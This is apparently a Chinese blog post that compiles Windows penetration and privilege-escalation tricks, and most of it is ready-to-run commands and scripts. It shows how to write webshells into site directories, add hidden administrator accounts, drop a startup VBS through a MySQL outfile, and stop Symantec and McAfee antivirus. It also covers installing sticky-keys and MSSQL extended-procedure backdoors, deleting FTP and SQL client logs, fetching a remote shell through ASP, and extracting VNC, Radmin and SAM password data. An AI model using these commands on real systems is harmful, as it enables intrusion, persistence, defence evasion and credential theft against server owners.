Windows渗透与提权技巧汇总

Windows渗透与提权技巧汇总

本文汇总了Windows渗透与提权的多个技巧,包含:MSSQL查询分析器连接记录清除、VNC与Radmin的提权方法、Cmd 下目录的操作技巧以及Webshell 提权小技巧等。

网络赚钱论坛www.hibeijing.net
旁站路径问题:


1、读网站配置。


2、用以下VBS:


On Error Resume Next 
If (LCase(Right(WScript.Fullname, 11)) = "wscript.exe") Then 
MsgBox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & " Usage:Cscript vWeb.vbs", 4096, "Lilo" 
WScript.Quit 
End If 
Set objservice = GetObject("IIS://LocalHost/W3SVC") 
For Each obj3w In objservice 
If IsNumeric(obj3w.Name) Then 
Set OService = GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name) 
Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT") 
If Err <> 0 Then WScript.Quit (1) 
WScript.Echo Chr(10) & "[" & OService.ServerComment & "]" 
For Each Binds In OService.ServerBindings 
Web = "{ " & Replace(Binds, ":", " } { ") & " }" 
WScript.Echo Replace(Split(Replace(Web, " ", ""), "}{")(2), "}", "") 
Next 
WScript.Echo "Path            : " & VDirObj.Path 
End If 
Next 
3、iis_spy 列举(注:需要支持ASPX,反IISSPY的方法:将 activeds.dll,activeds.tlb 降权)。


4、得到目标站目录,不能直接跨的。可以通过“echo ^<%execute(request(“cmd”))%^> >>X:\目标目录\X.asp”或者“copy 脚本文件 X:\目标目录\X.asp”像目标目录写入webshell,或者还可以试试type命令。


网站可能目录(注:一般是虚拟主机类):


data/htdocs.网站/网站/
CMD 下操作 VPN 相关知识、资料:


#允许administrator拨入该VPN:


netsh ras set user administrator permit
#禁止administrator拨入该VPN:


netsh ras set user administrator deny
#查看哪些用户可以拨入VPN:


netsh ras show user
#查看VPN分配IP的方式:


netsh ras ip show config
#使用地址池的方式分配IP:


netsh ras ip set addrassign method = pool
#地址池的范围是从192.168.3.1到192.168.3.254:


netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254
Cmd、Dos 命令行下添加 SQL 用户的方法:


需要有管理员权限,在命令下先建立一个“c:\test.qry”文件,内容如下:


exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry


另类的加用户方法:


在删掉了 net.exe 和不用 adsi 之外,新的加用户的方法。代码如下:


js:


var o=new ActiveXObject( "Shell.Users" ); 
z=o.create("test") ; 
z.changePassword("123456","") 
z.setting("AccountType")=3; 
vbs: 
view source 
Set o=CreateObject( "Shell.Users" ) 
Set z=o.create("test") 
z.changePassword "123456","" 
z.setting("AccountType")=3 
Cmd 访问控制权限控制:


命令如下:


cacls c: /e /t /g everyone:F           #c盘everyone权限 
cacls "目录" /d everyone               #everyone不可读,包括admin 
备注:


反制方法,在文件夹安全设置里将 Everyone 设定为不可读,如果没有安全性选项:工具 – 文件夹选项 – 使用简单的共享去掉即可。


3389 相关,以下配合PR更好:


a、防火墙TCP/IP筛选.(关闭:net stop policyagent & net stop sharedaccess)


b、内网环境(lcx.exe)


c、终端服务器超出了最大允许连接(XP 运行:mstsc /admin;2003 运行:mstsc /console)


1.查询终端端口:


REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务:


REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(十六进制为:0x7d8):


REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制:


REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled :@ xpsp2res.dll,-22009 /f
create table a (cmd text); 
insert into a values ("set wshshell=createobject (""wscript.shell"")"); 
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)"); 
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)"); 
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs"; 
BS马的PortMap功能,类似LCX做转发。若果支持ASPX,用这个转发会隐蔽点。(注:一直忽略了在偏僻角落的那个功能)


关闭常见杀软(把杀软所在的文件的所有权限去掉):


处理变态诺顿企业版:


net stop "Symantec AntiVirus" /y 
net stop "Symantec AntiVirus Definition Watcher" /y 
net stop "Symantec Event Manager" /y 
net stop "System Event Notification" /y 
net stop "Symantec Settings Manager" /y 
麦咖啡:


net stop "McAfee McShield" 
Symantec病毒日志:


C:\Documents and Settings\All Users\Application Data\Symantec\Symantec Endpoint Protection\Logs 
Symantec病毒备份:


C:\Documents and Settings\All Users\Application Data\Symantec\Symantec Endpoint Protection\Quarantine 
Nod32病毒备份:


C:\Docume~1\Administrator\Local Settings\Application Data\ESET\ESET NOD32 Antivirus\Quarantine 
Nod32移除密码保护:


删除“HKEY_LOCAL_MACHINE\SOFTWARE\ESET\ESET Security\CurrentVersion\Info\PackageID”即可
安装5次shift后门,沾滞键后门,替换SHIFT后门:


5次SHIFT,沾滞键后门:


copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe 
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y 
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y 
替换SHIFT后门:


attrib c:\windows\system32\sethc.exe -h -r -s 
attrib c:\windows\system32\dllcache\sethc.exe -h -r -s 
del c:\windows\system32\sethc.exe 
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe 
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe 
attrib c:\windows\system32\sethc.exe +h +r +s 
attrib c:\windows\system32\dllcache\sethc.exe +h +r +s 
添加隐藏系统账号:


1、执行命令:“net user admin$ 123456 /add&net localgroup administrators admin$ /add”。


2、导出注册表SAM下用户的两个键值。


3、在用户管理界面里的 admin$ 删除,然后把备份的注册表导回去。


4、利用 Hacker Defender 把相关用户注册表隐藏。


安装 MSSQL 扩展后门:


USE master; 
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll'; 
GRANT exec On xp_helpsystem TO public; 
处理服务器MSFTP日志:


在“C:\WINNT\system32\LogFiles\MSFTPSVC1\”下有 ex011120.log / ex011121.log / ex011124.log 三个文件,直接删除 ex0111124.log 不成功,显示“原文件…正在使用”。


当然可以直接删除“ex011120.log / ex011121.log”。然后用记事本打开“ex0111124.log”,删除里面的一些内容后,保存,覆盖退出,成功。


当停止“msftpsvc”服务后可直接删除“ex011124.log”。


MSSQL查询分析器连接记录清除:


MSSQL 2000 位于注册表如下:


HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。


MSSQL 2005 是在:


C:\Documents and Settings\\Application Data\Microsoft\Microsoft SQL Server\90\Tools\Shell\mru.dat
防BT系统拦截技巧,可以使用远程下载shell:


<% 
Sub eWebEditor_SaveRemoteFile(s_LocalFileName, s_RemoteFileUrl) 
Dim Ads, Retrieval, GetRemoteData 
On Error Resume Next 
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP") 
With Retrieval 
.Open "Get", s_RemoteFileUrl, False, "", "" 
.Send 
GetRemoteData = .ResponseBody 
End With 
Set Retrieval = Nothing 
Set Ads = Server.CreateObject("Adodb.Stream") 
With Ads 
.Type = 1 
.Open 
.Write GetRemoteData 
.SaveToFile Server.MapPath(s_LocalFileName), 2 
.Cancel() 
.Close() 
End With 
Set Ads = Nothing 
End Sub 
eWebEditor_SaveRemoteFile "your shell's name", "your shell'urL" 
%> 
防BT系统拦截技巧,可以使用远程下载shell,也达到了隐藏自身的效果,也可以做为超隐蔽的后门,神马的免杀webshell,用服务器安全工具一扫通通挂掉了。


VNC、Radmin、PcAnywhere 的提权方法:


首先利用 shell 读取 vnc 保存在注册表中的密文,然后再使用工具VNC4X破解。


注册表位置:HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password


Radmin 默认端口是4899,先获取密码和端口,如下位置:


HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter //默认密码注册表位置 
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置 
然后用HASH版连接。


如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有 PcAnywhere 同时保存密码文件的目录是允许我们的IUSER权限访问,我们可以下载这个CIF文件到本地破解,再通过 PcAnywhere 从本机登陆服务器。


保存密码的CIF文件,不是位于PcAnywhere的安装目录,而且位于安装PcAnywhere所安装盘的:


“\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\”
如果PcAnywhere安装在“D:\program\”文件夹下,那么PcAnywhere的密码文件就保存在:“D:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\”文件夹下。


WinWebMail 提权加用户:


WinWebMail目录下的web必须设置everyone权限可读可写,在开始程序里,找到WinWebMail快捷方式,接下来,看路径,访问“路径\web”传 shell,访问shell后,权限是system,直接放远控进启动项,等待下次重启。


没有删cmd组件的可以直接加用户,7i24的web目录也是可写,权限为administrator。


1433 SA权限构建注入点:


<% 
strSQLServerName = "服务器ip" 
strSQLDBUserName = "数据库帐号" 
strSQLDBPassword = "数据库密码" 
strSQLDBName = "数据库名称" 
Set conn = server.CreateObject("ADODB.Connection") 
strCon = "Provider=SQLOLEDB.1;Persist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & ";Password=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";" 
conn.open strCon 
Dim rs, strSQL, id 
Set rs = server.CreateObject("ADODB.recordset") 
id = request("id") 
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3 
rs.Close 
%> 
提权篇:


先执行systeminfo


token 漏洞补丁号 KB956572


Churrasco kb952004


命令行RAR打包~~·


1rar a -k -r -s -m3 c:\1.rar c:\folder


收集系统信息的脚本:


for window: 
@echo off  
echo #########system info collection  
systeminfo 
ver 
hostname 
net user 
net localgroup 
net localgroup administrators 
net user guest 
net user administrator 
echo #######at- with   atq##### 
echo schtask /query 
echo 
echo ####task-list############# 
tasklist /svc 
echo 
echo ####net-work infomation 
ipconfig/all 
route print 
arp -a 
netstat -anipconfig /displaydns 
echo 
echo #######service############ 
sc query type= service state= all 
echo #######file-############## 
cd \ 
tree -F 
gethash 不免杀怎么获取本机 hash:


首先导出注册表:


Windows 2000:regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"
Windows 2003:reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg
注意权限问题,一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问(界面登录的需要注意,system权限可以忽略)。


接下来就简单了,把导出的注册表,down 到本机,修改注册表头导入本机,然后用抓去hash的工具抓本地用户就OK了


hash 抓完了记得把自己的账户密码改过来哦!


当 GetHashes 获取不到 hash 时,可以用冰刃把 sam 复制到桌面。据我所知,某人是用这个方法虚拟机多次因为不知道密码而进不去!~

你可能感兴趣的:(Windows渗透与提权技巧汇总)